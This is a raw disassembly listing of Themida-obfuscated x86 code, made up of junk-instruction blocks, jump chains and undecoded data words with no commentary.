0E9FCCC17h, 0BF22h, 0FF7FBEE9h dd 8EC281FFh, 16CCB64h, 348B5AD5h, 90E5E924h, 0B60F0000h dd 8734FFC0h, 0FF7FA2E9h, 4C481FFh, 55000000h, 0FFBC70E9h db 0FFh ; --------------------------------------------------------------------------- loc_558A19: ; CODE XREF: Themida_:00559DE1j xchg esi, [esp] mov esp, [esp] jmp loc_5509AF ; --------------------------------------------------------------------------- dd 0C281DA29h, 4A5E1E44h, 83241C8Bh, 555604C4h, 58223EBDh dd 0FFA4E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A3E: ; CODE XREF: Themida_:0056031Aj mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp mov [esp], eax mov ecx, [esp] add esp, 4 push ecx pop edx push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55C8BD ; --------------------------------------------------------------------------- loc_558A78: ; CODE XREF: Themida_:00557BD6j push 244Ch mov [esp], ecx push 65D6h jmp loc_55A4D7 ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 89CC381h, 0F32915DBh, 89CEB81h, 2CE915DBh db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558AA3: ; CODE XREF: Themida_:0055D565j shr eax, 18h xor eax, ecx push 50D4h mov [esp], eax xchg ebp, [esp] push 2A9Ah mov [esp], ebp xchg esi, [esp] not esi xor [esp], esi jmp loc_552760 ; --------------------------------------------------------------------------- dd 405h, 0BEE95100h, 50000099h, 24048B5Eh, 5004C483h, 0A84E9BB8h dd 2E8C14Ch, 0BA20090Dh, 510E917h, 14890000h, 445CBA24h dd 0FA314823h, 0FA31D731h, 0FA87DFF7h, 0E5EA814Ah, 81166C6Eh dd 8FB344C2h, 625CE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B12: ; CODE XREF: Themida_:00551044j add al, 32h add bl, 0B8h add bl, al push ecx jmp loc_55FD11 ; --------------------------------------------------------------------------- db 81h dd 6D53D4EAh, 0AF14E937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558B2A: ; CODE XREF: Themida_:005563C0j pop esp mov [esp], edx push esp pop edx jmp loc_550CF9 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0C6h dd 0E9045D23h, 0FFFF8790h ; --------------------------------------------------------------------------- loc_558B40: ; CODE XREF: Themida_:00555BEAj mov ecx, [esp] add esp, 4 push dword ptr [esp] mov esi, [esp] push ebx jmp loc_55C154 ; --------------------------------------------------------------------------- db 66h, 29h, 0D0h dd 5253665Ah, 40ABA66h, 24E3BB66h, 0EAEB8166h, 0DB7CE917h dd 0B068FFFFh, 8900002Eh, 0EC81240Ch, 4 db 89h, 2 dup(24h) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_556C34 ; --------------------------------------------------------------------------- loc_558B97: ; CODE XREF: Themida_:005619FBj and eax, edi mov edi, [esp] push 4052h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_55EE3D ; --------------------------------------------------------------------------- dw 0E901h dd 1856E9h db 0 ; --------------------------------------------------------------------------- loc_558BC1: ; CODE XREF: Themida_:00550AC4j sub eax, ecx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 1AF02B10h add ebx, eax sub ebx, 1AF02B10h pop eax xchg ebx, [esp] pop esp push edx mov edx, 2 sub ebp, 133110F3h jmp loc_55A829 ; --------------------------------------------------------------------------- db 28h dd 241C8BDDh, 4C481h, 0C5800000h, 0DAC5E98Dh, 0D968FFFFh dd 89000011h, 0B050240Ch, 0C010452h, 0F824E903h db 2 dup(0FFh) word_558C22 dw 30ACh ; DATA XREF: Themida_:0055075Co dd 0B05051D8h, 531C34C2h, 8F10E9h, 5B36800h, 0E95E2BCBh dd 0B5FDh, 0ED81D529h, 27234B19h, 0A7FE9h, 24048B00h, 0E904C483h dd 0FFFFB01Fh, 24348B5Fh, 0FFB317E9h, 0DEE959FFh, 1FFFFBAh dd 0FA875DEFh, 138DE956h, 0C890000h, 3FCB924h, 0CE890000h dd 0FFFFE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_558C7D: ; CODE XREF: Themida_:0055797Aj mov dh, al pop eax jmp loc_56169F ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 48CE021Eh, 8324348Bh, 0C68104C4h, 48CE021Eh, 0DBF6815Ah dd 0E967256Dh, 5171h, 4B16858h, 34890000h, 2474FF24h, 2434FF04h dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h, 0C4815C24h dd 4, 8B24048Fh, 89662424h, 0D0E92404h, 81FFFF7Ch, 0F1091AF6h dd 0B4EE8133h, 167705Ch, 14875EF2h, 24248B24h, 0FFB8D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_558CF9: ; CODE XREF: Themida_:00561FD3j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ebx jmp loc_563562 ; --------------------------------------------------------------------------- db 0B0h, 19h, 0 aSkg db 'бИKg',0 align 2 dw 0F681h dd 1BF35AB0h, 4605EEC1h, 2339F681h, 0F6812BD7h, 39179453h dd 7AFDE9h, 9E94300h db 0B4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558D33: ; CODE XREF: Themida_:0055B8ACj sub esi, ebp jmp loc_55C5CF ; --------------------------------------------------------------------------- loc_558D3A: ; CODE XREF: Themida_:00552844j add esp, 4 shr ecx, 7 sub esp, 4 mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_55F887 ; --------------------------------------------------------------------------- dw 8358h dd 1C8904ECh, 81E38924h, 4C3h, 0EAE95500h, 81000004h, 4C2h dd 4EC8300h, 68242C89h, 6CCE2EA6h, 4DE5D15Dh, 5D49F581h dd 0C281D99Ch, 116D16F2h, 0EA81EA01h, 116D16F2h, 74FF525Dh dd 8F5A0424h, 665C2404h, 6824048Bh, 743Fh, 89240C89h, 63E952E1h dd 0BE000033h, 4, 685EF701h, 55C5h, 0B8240489h, 2, 5BADB951h dd 0EF812C4Bh, 327579D5h, 0B8E9CF29h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558DD7: ; CODE XREF: Themida_:0055E326j pop edi jmp loc_557447 ; --------------------------------------------------------------------------- loc_558DDD: ; CODE XREF: Themida_:00555686j shl ecx, 1 sub ecx, 0D3510097h jmp loc_55C200 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0E9530000h, 0DEh, 8B240C89h, 0C483243Ch, 7BE95904h dd 80FFFF7Fh, 41E9E1F4h, 0D1FFFF93h, 12EA81E2h, 81A37C6Ah dd 500509EFh, 53D70172h, 331CDBBBh, 2EC3816Dh, 1051CE8h dd 24E95BDFh, 5AFFFFD1h, 4C481h, 0E9310000h, 0B7BE565Dh dd 0E915E820h, 3BA1h dword_558E48 dd 240C8B66h, 0C8B5451h, 0E3895324h, 4C381h, 0C3810000h ; DATA XREF: Themida_:005506F0o dd 4, 5C241C87h, 0E0685650h, 0E97BB77Bh, 3A0Fh ; --------------------------------------------------------------------------- loc_558E70: ; CODE XREF: Themida_:00550C21j pop ebp push ebx mov ebx, esp push edi mov edi, 4 jmp loc_5532B7 ; --------------------------------------------------------------------------- loc_558E7F: ; CODE XREF: Themida_:0055DB09j push 5438h mov [esp], edx mov ecx, [esp] add esp, 4 jmp loc_55145B ; --------------------------------------------------------------------------- dw 0DAF7h dd 1CC8CA81h, 87E93571h, 810000B6h, 8002F9C2h, 0C1DAF76Eh dd 0F28108EAh, 2427A2h, 875AD701h, 815C243Ch, 476028C5h dd 81F5015Fh, 476028EDh, 35ED815Fh, 8B0BE138h, 0C4832434h dd 0AFD7E904h, 0E3890000h, 4C381h, 55E90000h, 5A000003h dd 2A02742Dh, 0E9F8017Dh, 4BA3h, 0EC009BB5h, 0C1F8E9h dd 0E935B300h, 82C2h, 2434FF5Ah, 4C48358h, 4C7AEE81h, 0D60158B4h dd 4EC81h, 1BE90000h, 89000044h, 0FE315FFEh, 0E9EED15Fh dd 0FFFF7C03h ; --------------------------------------------------------------------------- loc_558F28: ; CODE XREF: Themida_:005653F1j pop ebx jmp loc_55E80C ; --------------------------------------------------------------------------- dw 0C181h dd 4, 401BE9h, 4C28100h, 83000000h, 143304C2h, 24143124h dd 5C241433h, 0FF7A5EE9h, 2EC381FFh, 81606E3Ch, 2C2AE2EBh dd 4EBC16Ah, 0FFC8A2E9h, 241C89FFh, 0D93085B3h, 59CC285Bh dd 0E9FBEB80h, 0FFFFE546h, 570DEB81h, 2BE91FD3h, 59FFFFAFh dd 73B8C681h, 0CE012954h, 73B8EE81h, 92E92954h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558F97: ; CODE XREF: Themida_:0055687Dj mov eax, 31372A6Ah sub eax, 0E80EF9CDh sub ebp, eax pop eax sub ebp, edi jmp loc_56496F ; --------------------------------------------------------------------------- loc_558FAB: ; CODE XREF: Themida_:00559CB5j pop edx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5538CC ; --------------------------------------------------------------------------- loc_558FC0: ; CODE XREF: Themida_:005602C2j or edi, 2CDD258Eh and edi, 4A2C543Ah shl edi, 7 inc edi xor edi, 4AE36CE8h add ecx, edi pop edi jmp loc_56041B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C24048Fh, 89243489h, 4C681E6h, 51000000h, 2B9h dd 2431E900h, 89050000h, 15D2CDCh, 0DEF758C6h, 0C124BD55h dd 0EE817DFDh, 32C24970h, 0FF9D6BE9h, 67B859FFh, 0E94E93ECh dd 0FFFFAD9Eh, 5C241C87h, 0FFDCE5E9h, 4C481FFh, 8F000000h dd 665C2404h, 9C242CD3h, 0FF796EE9h db 0FFh ; --------------------------------------------------------------------------- loc_559041: ; CODE XREF: Themida_:00557018j xor ebp, 9FA652h add ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_55CCA1 ; --------------------------------------------------------------------------- dd 8B241C33h, 9E682424h, 8900003Fh, 0E954242Ch, 1C8h, 81E38953h dd 4C3h, 9042E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559076: ; CODE XREF: Themida_:0055A9AFj push 6010h mov [esp], eax sub esp, 4 jmp loc_554466 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0E5h dd 295EA05Bh, 0E5EA81F2h, 5E5EA05Bh, 5C241487h, 0FFD5C2E9h dd 2434FFFFh, 2BF1E95Fh, 4890000h, 569FB824h, 0C2314B78h dd 6EE0E9h, 4EC8100h, 89000000h, 4AB9240Ch, 6800777Ah dd 2DBAh, 0BD242C89h, 3BC953B0h, 852FE9h, 4EB8100h, 0E9000000h dd 0D2Ch, 77EFE95Bh, 0E3890000h, 0D015E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5590F2: ; CODE XREF: Themida_:00562440j sub ebp, 4 xchg ebp, [esp] jmp loc_55714F ; --------------------------------------------------------------------------- loc_5590FD: ; CODE XREF: Themida_:00557036j pop edi push edx mov edx, 27843875h sub edx, 192B05E9h sub esi, edx pop edx push ebx jmp loc_55324E ; --------------------------------------------------------------------------- db 31h dd 3C33243Ch, 34FF5C24h, 89575924h, 4C781E7h, 68000000h dd 12DEh, 9479E9h db 0 ; --------------------------------------------------------------------------- loc_559131: ; CODE XREF: Themida_:0055AD9Ej pop eax xor al, bl mov ebx, [esp] jmp loc_5538FB ; --------------------------------------------------------------------------- loc_55913C: ; CODE XREF: Themida_:00551075j mov ebp, 62C45AEDh jmp loc_55502B ; --------------------------------------------------------------------------- dw 433h aSxz db '$И∙Z',0 align 2 dw 0F301h dd 0D9DC381h, 34FF2B9Ch, 78FCE924h, 0F929FFFFh, 81243C8Bh dd 4C4h, 2B51E900h, 14890000h, 505A5424h, 2618E9h, 24343300h dd 0E924248Bh, 0FFFF782Bh, 0C750E941h, 0E3890000h, 65DCBE56h dd 0E9536C2Bh, 0FFFF9ABFh, 42474FFh, 6F89E95Dh, 0E2890000h dd 4C281h, 0F0E90000h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5591AF: ; CODE XREF: Themida_:00562B39j xchg edi, ecx xchg ecx, [esp] mov esi, [esp] add esp, 4 push 58ADh mov [esp], ecx mov ecx, 706A0C06h jmp loc_565701 ; --------------------------------------------------------------------------- loc_5591CC: ; CODE XREF: Themida_:0055AA50j mov esp, [esp] mov ecx, [esp] add esp, 4 sub [edi+24h], ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_555E79 ; --------------------------------------------------------------------------- loc_5591EF: ; CODE XREF: Themida_:0055E8DEj mov ebp, 2CA93583h xor edi, ebp pop ebp jmp loc_556D4B ; --------------------------------------------------------------------------- aBu_9@BuDxis2 db '│Н_9@^│Н-dxIИ2╩',0 dd 0A5E95600h, 8B0000B6h, 81E92424h db 8Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55921B: ; CODE XREF: Themida_:005515EFj add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5656A3 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFED23h, 8704EB83h, 895C241Ch, 0FAE92414h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_559247: ; CODE XREF: Themida_:0055C423j push 114F7601h jmp loc_558140 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EB010000h, 241C875Dh, 4EC815Ch, 0E9000000h, 0C625h dd 0FF7742E9h db 0FFh ; --------------------------------------------------------------------------- loc_55926D: ; CODE XREF: Themida_:0055930Fj add esp, 4 add edx, 6012706Ch jmp loc_5573D3 ; --------------------------------------------------------------------------- dw 0F581h dd 0BEB5FE14h, 2C8BE901h, 0F77FE924h, 0C8BFFFFh, 4C48124h dd 33000000h, 14312414h, 24143324h, 8924248Bh, 4E92404h dd 8BFFFF77h, 54532434h, 4C3815Bh, 57000000h, 4BFh, 9C9EE900h dd 14B70000h, 5B66F920h, 800CC180h, 0B05068F1h, 2857E94Bh dd 0D1880000h, 0B2CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5592DE: ; CODE XREF: Themida_:0055FD9Fj mov ebx, esi jmp loc_55EF7D ; --------------------------------------------------------------------------- db 0BBh, 0B5h, 0 dd 21E90B5Eh, 5DFFFFD7h, 0FBF3814Bh, 2906BFFFh, 6BE95BDAh db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5592FF: ; CODE XREF: Themida_:00563D75j mov ebp, 1 push ebp sub dword ptr [esp], 6012706Ch mov edx, [esp] jmp loc_55926D ; --------------------------------------------------------------------------- dd 0FF04C483h, 55582434h, 0FFA96EE9h, 243C89FFh, 2A5E68h dd 4EC8300h, 83242489h, 8F042404h, 8E682404h, 0E9000018h dd 0FFFF77A7h ; --------------------------------------------------------------------------- loc_559340: ; CODE XREF: Themida_:0055E97Bj pop ecx add dx, 8AB9h jmp loc_551469 ; --------------------------------------------------------------------------- db 0BAh dd 2B650CD3h, 8245401h, 2474015Ah, 246C8104h, 650CD304h dd 0B850562Bh, 271D6263h, 8158C689h, 8D08246Ch, 148EA4Dh dd 81082474h, 8D082444h, 5E48EA4Dh, 0FF9549E9h, 242C8BFFh dd 4C481h, 4BE90000h, 0BDFFFFCDh, 20A83E71h, 0BF57DDF7h dd 44D8A13Bh, 15FFD01h, 565A5DEBh, 8F37B2BEh, 0E9F30905h dd 0FFFFE38Ah ; --------------------------------------------------------------------------- loc_5593B4: ; CODE XREF: Themida_:00561894j mov [esp], ecx push eax push 8BB0FCDh pop eax add eax, 40BBF6A3h mov ecx, eax pop eax xor [esp+4], ecx jmp loc_5511E7 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 91D7E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593DA: ; CODE XREF: Themida_:0055D7FCj add eax, edi jmp loc_552BE7 ; --------------------------------------------------------------------------- loc_5593E1: ; CODE XREF: Themida_:00553D4Ej inc si xor si, 500Dh add bx, 33C3h add bx, si sub bx, 33C3h pop esi add ax, bx push dword ptr [esp] pop ebx add esp, 4 sub ax, 559Eh add ax, 4077h add bx, 4294h jmp loc_56143E ; --------------------------------------------------------------------------- byte_559415 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005507ECo aS_8 db '$И',9,'^',0 align 2 aITsby db '┴,$TИbY',0 dw 2900h dd 0EBC681C6h, 58242E72h, 4EC81h, 3C890000h, 0F1EBF24h dd 0FE012807h, 5F2434FFh, 4C481h, 0C6010000h, 52E08950h dd 4BAh, 497AE900h, 535B0000h, 328FC4BBh, 5BDE01E3h, 0FFF284E9h dd 4D23BEFFh, 46E97366h, 31000022h, 2355DE8h, 81FAA6B0h dd 55681CEEh, 81C6016Fh, 55681CC6h, 24048B6Fh, 8104C483h dd 1E4736EAh, 81F22938h, 1E4736C2h, 2434FF38h, 0C179E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5594A6: ; CODE XREF: Themida_:0055C60Dj add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_553D0B ; --------------------------------------------------------------------------- loc_5594B7: ; CODE XREF: Themida_:00551D3Cj push 4 pop ecx add eax, ecx jmp loc_5515EC ; --------------------------------------------------------------------------- loc_5594C4: ; CODE XREF: Themida_:00559F7Fj push 4 jmp loc_55A4D1 ; --------------------------------------------------------------------------- dw 9668h dd 0E900005Eh, 0ED9h, 5004C483h, 0D518BCB8h, 58C60157h dd 7D4AE9h db 0 ; --------------------------------------------------------------------------- loc_5594E9: ; CODE XREF: Themida_:005622CAj pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push dword ptr [edi+eax*4] jmp loc_56336F ; --------------------------------------------------------------------------- loc_5594FC: ; CODE XREF: Themida_:0055EDDCj pop ebp sub esp, 4 mov [esp], edx jmp loc_55CB63 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0AAEB8100h, 8103F12Fh, 4ECh, 240C8900h, 2E556AB9h dd 652EE905h, 3C870000h, 0D5875C24h, 0D587D2F7h, 6A5AF581h dd 535535ACh, 874B5B5Dh, 0A6B951DDh, 21151374h, 240C8BCDh dd 6D4AE9h, 3C875A00h, 96E95C24h, 81FFFFA7h, 2C51A8E9h dd 0C1814903h, 0CA881A97h, 8159CF29h, 4ECh, 243C8900h dd 81240C8Bh, 4C4h, 0C6815F00h, 3588020Ah, 0F4E9CE01h dd 0B4FFFFC3h, 84F2E99Bh, 3868FFFFh, 0E9000007h, 66A7h dd 59D8C681h, 0FE014604h, 5756BF57h, 0E94F4A9Dh, 5DBEh dd 31083D05h, 5D0F734h, 0C1DDF52h, 69CCC781h, 0C7013EB7h dd 69CCEF81h, 1583EB7h, 7FA3E9F8h, 0C4830000h, 1AEB8104h dd 315EE944h, 1156E9D8h, 89570000h, 4C781E7h, 81000000h dd 4C7h, 243C8700h, 7DDBE9h, 81EB0100h, 6C4DCBC3h, 0C3815D57h dd 3A8E1664h, 0FF7D4AE9h, 4C381FFh, 83000000h, 1C8704C3h dd 0BD555C24h, 244D68DDh, 0C581D5F7h, 244D68E2h, 0B43C681h dd 0C6810450h, 6FB8594Dh, 0EE81EE01h, 6FB8594Dh, 0B43EE81h dd 2C8B0450h, 4C48124h, 68000000h, 5464h, 57240489h, 366A3BFh dd 0B1B7E92Ch, 8768FFFFh, 89000053h, 2B9240Ch, 81000000h dd 726796EFh, 81CF0103h, 726796C7h, 240C8B03h, 50E95451h dd 0BA000019h, 64367026h, 7508E9h db 0 ; --------------------------------------------------------------------------- loc_55968D: ; CODE XREF: Themida_:0055764Fj shr esi, 8 xor esi, 2FDF688Fh jmp loc_5547A3 ; --------------------------------------------------------------------------- loc_55969B: ; CODE XREF: Themida_:00553CD1j xchg eax, [esp] pop esp push edx push ecx mov ch, 7Dh jmp loc_55B48F ; --------------------------------------------------------------------------- dd 0B850E589h, 4, 8358C501h, 2C8704EDh, 14895C24h, 2BE5624h dd 0E9382238h, 4F7Ah, 5DE95552h, 5F00001Bh, 242C8758h dd 0E924248Bh, 0FFFF9FB5h ; --------------------------------------------------------------------------- loc_5596DC: ; CODE XREF: Themida_:0055D709j pop ebp jmp loc_560730 ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h, 3CE95C24h dd 81FFFFA5h, 7474D5E9h, 1588E97Eh, 0CD890000h, 5DE88959h dd 0F7EAE950h, 0E5C1FFFFh, 45EDD107h, 2FEEED81h, 0EF8952FAh dd 0E9FD295Dh, 0FFFFFFA3h ; --------------------------------------------------------------------------- loc_55972C: ; CODE XREF: Themida_:005510B2j mov [esp], ebx jmp loc_55C41B ; --------------------------------------------------------------------------- loc_559734: ; CODE XREF: Themida_:0056499Bj xor dh, 0A6h add ch, dh mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5621B5 ; --------------------------------------------------------------------------- dd 6FBABE56h, 814E49B2h, 0B26FBDF6h, 0E9F18949h, 0FFFF9D10h ; --------------------------------------------------------------------------- loc_559764: ; CODE XREF: Themida_:0055F13Aj pop edx xor eax, edi mov edi, [esp] add esp, 4 mov edi, [esp] add esp, 4 push 53B5h mov [esp], ebp push esi mov esi, 4D922F0Fh add esi, 57176115h sub esi, 38F62634h jmp loc_559B16 ; --------------------------------------------------------------------------- loc_559798: ; CODE XREF: Themida_:0055D159j pop ebp xor ecx, 2AC91062h mov edi, ecx pop ecx jmp loc_55208B ; --------------------------------------------------------------------------- db 0C1h dd 0EE8105E6h, 0DEEB799Ch, 15EF289h, 0C7815AD7h, 4, 5C243C87h dd 348BF031h, 4C48324h, 2B668h, 242C8900h, 4B116850h, 0BD580B0Bh dd 2522318h, 8158C531h, 0F55AB8CDh, 0E9DDF77Fh, 0AA31h dd 5AE9EE00h, 810000A8h, 205F8FC9h, 63C18114h, 2183EA1Eh dd 554E59CEh, 0C6105BDh, 71CD815Bh, 0C16A213Ch, 4D4D05EDh dd 8106EDC1h, 461943F5h, 0C9C8E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559822: ; CODE XREF: Themida_:0055F595j sub ebx, ebp push ebp mov ebp, 210F206Fh jmp loc_55BF80 ; --------------------------------------------------------------------------- loc_55982F: ; CODE XREF: Themida_:0055165Cj xor ebx, 1FDF95FEh and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_55DF09 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0E904C183h, 2798h, 5357EB81h, 6D68063Bh, 89000014h dd 0BD552404h, 3D5B52F4h, 4FB1ED81h, 0E889C430h, 5A31E95Dh dd 248B0000h, 24048924h, 6D8268h, 47D7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559882: ; CODE XREF: Themida_:0055C706j not ebx add ebx, 0FFFFFFFFh jmp loc_55A4B0 ; --------------------------------------------------------------------------- db 83h dd 148704C4h, 24248B24h, 54241489h, 5A2434FFh, 4C481h dd 0C2810000h, 4, 4BF57h, 0E9510000h, 93C8h ; --------------------------------------------------------------------------- loc_5598B8: ; CODE XREF: Themida_:0055E489j xchg esi, [esp] pop esp or edx, eax shl edx, 1 push esi mov esi, 1 jmp loc_5651F4 ; --------------------------------------------------------------------------- db 0C3h dd 0FF70DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5598D1: ; CODE XREF: Themida_:00562D27j add ebx, 6B8E4ECEh pop esi jmp loc_555A45 ; --------------------------------------------------------------------------- loc_5598DD: ; CODE XREF: Themida_:00553C6Ej add esp, 4 push 7714h mov [esp], ebx push eax mov al, 91h jmp loc_55A0E5 ; --------------------------------------------------------------------------- db 89h dd 0EC812404h, 4, 52241C89h, 0A790E9h db 0 ; --------------------------------------------------------------------------- loc_559905: ; CODE XREF: Themida_:00550B43j add edx, 4 add edx, 4 jmp loc_56295F ; --------------------------------------------------------------------------- db 81h dd 42404h, 48F0000h, 0AF66E924h, 92680000h, 89000073h dd 4DE92404h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55992F: ; CODE XREF: Themida_:0056028Ej push dword ptr [esp] pop edi push esi jmp loc_55C365 ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 4 dd 8ACBE950h, 0D329FFFFh, 0FA49E955h, 5159FFFFh, 157BE9h db 0 ; --------------------------------------------------------------------------- loc_559951: ; CODE XREF: Themida_:00551CECj xor ecx, 1007430Bh push dword ptr [esp] pop ebp add esp, 4 not ecx not ecx add ecx, 1EAB0F19h add ecx, 7929ABD3h add edx, ecx pop ecx add edx, 4 xchg edx, [esp] pop esp or eax, eax jz loc_55A64D push ebx mov ebx, 1Ch jmp loc_5645F5 ; --------------------------------------------------------------------------- dw 0FD31h a_sd db '_И└/',0 align 2 dw 4481h dd 6D890424h, 6C8170B8h, 63540424h, 6C817BB8h, 270424h dd 34FF3EDDh, 0C4835A24h, 24148B04h, 4C481h, 0B5E90000h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5599C3: ; CODE XREF: Themida_:00551C48j sub esi, 4B592AF8h add esi, edx add esi, 4B592AF8h jmp loc_5648FB ; --------------------------------------------------------------------------- loc_5599D6: ; CODE XREF: Themida_:005622A6j sub ebp, 4ED2677Fh sub ebp, 0BCB9D068h push ebp jmp loc_55C550 ; --------------------------------------------------------------------------- loc_5599E8: ; CODE XREF: Themida_:005581C6j mov eax, [esp] jmp loc_55760F ; --------------------------------------------------------------------------- dd 4BF57h, 0BE050000h, 17EB95Bh, 5BBE2DF8h, 8E97EB9h, 0FE0000B1h dd 53D3E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559A0E: ; CODE XREF: Themida_:00564E3Ej pop edx jmp loc_563A4C ; --------------------------------------------------------------------------- dd 4EC835Ch, 83242C89h, 148904ECh, 2CD4BA24h, 2BBD306Dh dd 29A48850h, 2434FFD5h, 0FFF3FEE9h, 85E95EFFh db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559A3B: ; CODE XREF: Themida_:0055EBFCj mov edi, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_553987 ; --------------------------------------------------------------------------- dd 0A1E95156h, 52FFFFA9h, 322BBF57h, 69E92044h, 51FFFFC7h dd 3B4EF6B9h, 81D1F70Fh, 3B4EFBC1h, 0E9CF010Fh, 0FFFFB6B2h dd 0C581DDF7h, 37B53275h, 686DE9h, 4335C00h, 24043124h dd 0E9240433h, 2BEFh, 0E904C483h, 1C87h, 4207E2C1h, 5EA9E281h dd 0F28134E1h, 2F37FE2Ch, 542AE9h, 2C48300h, 19D3E9h db 0 byte_559AB5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550738o dd 0F0B0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559ABE: ; CODE XREF: Themida_:0055AC8Dj pop ecx push 7A36h mov [esp], edx push 0BA1h mov [esp], esp jmp loc_55F89B ; --------------------------------------------------------------------------- loc_559AD4: ; CODE XREF: Themida_:00553010j push 1689h mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp loc_559AEB: ; CODE XREF: Themida_:00563387j push 3FB4h mov [esp], edi push ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_55BDCA ; --------------------------------------------------------------------------- loc_559B09: ; CODE XREF: Themida_:0056355Dj push ebp jmp loc_55B06A ; --------------------------------------------------------------------------- db 41h dd 0E987E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559B16: ; CODE XREF: Themida_:00559793j add esi, 40500658h add esi, 0C877BFF8h mov ebp, esi pop esi push 7A1Ah mov [esp], ebx push edi mov edi, esp jmp loc_5526C3 ; --------------------------------------------------------------------------- loc_559B35: ; CODE XREF: Themida_:00556766j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push ebx mov ebx, esp jmp loc_55D8ED ; --------------------------------------------------------------------------- align 4 dd 0C8B66CBh, 2C48324h, 2832C380h, 32EB80E3h, 8BAEEB80h dd 0C4812404h, 4, 66535266h, 8815B151h, 9264E9CBh, 0E7810000h dd 548B3CF9h, 2C1CC781h, 0F921E646h, 81D1F75Fh, 0BEF7DBF1h dd 538905CBh, 0C80149C8h, 0C853892Dh, 0B1E95949h, 1FFFFFEh dd 8104246Ch, 7704246Ch, 56545079h, 0C06C35BEh, 24448172h dd 0B49B808h, 24742945h, 246C8108h, 0B49B808h, 24348B45h dd 4C481h, 44810000h, 22540424h, 0FF5D4E96h, 56582434h dd 0C681E689h, 4, 1641E9h, 4EF8300h, 31243C33h, 3C33243Ch dd 14895C24h, 51E28924h, 0C181E189h, 4, 4E981h, 0C870000h dd 2C895C24h, 815D5424h, 4C5h, 7343E900h, 0C5810000h, 24BFD289h dd 6A52E955h, 0D6F70000h, 9989EE81h, 0F08921C8h, 6BE4055Eh dd 0D00136F6h, 0F66BE42Dh, 24148B36h, 0E9E38953h, 4FD0h dd 50E9DAF6h db 0BDh, 2 dup(0) byte_559C4F db 0ADh ; DATA XREF: Themida_:00550838o dd 0E904EC83h, 0AA54h, 0D0E95153h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559C5F: ; CODE XREF: Themida_:005517B8j mov [esp], ebp mov ebp, 6CC95119h dec ebp xor ebp, 79D4058Fh jmp loc_55C6E1 ; --------------------------------------------------------------------------- loc_559C73: ; CODE XREF: Themida_:00564A8Bj mov bl, 78h sub ch, bl pop bx not ch inc ch shl ch, 7 push ecx jmp loc_560BAE ; --------------------------------------------------------------------------- dw 0C301h dd 63A0C381h, 0EB8147F3h, 3A8E1664h, 0FFDD6FE9h db 0FFh ; 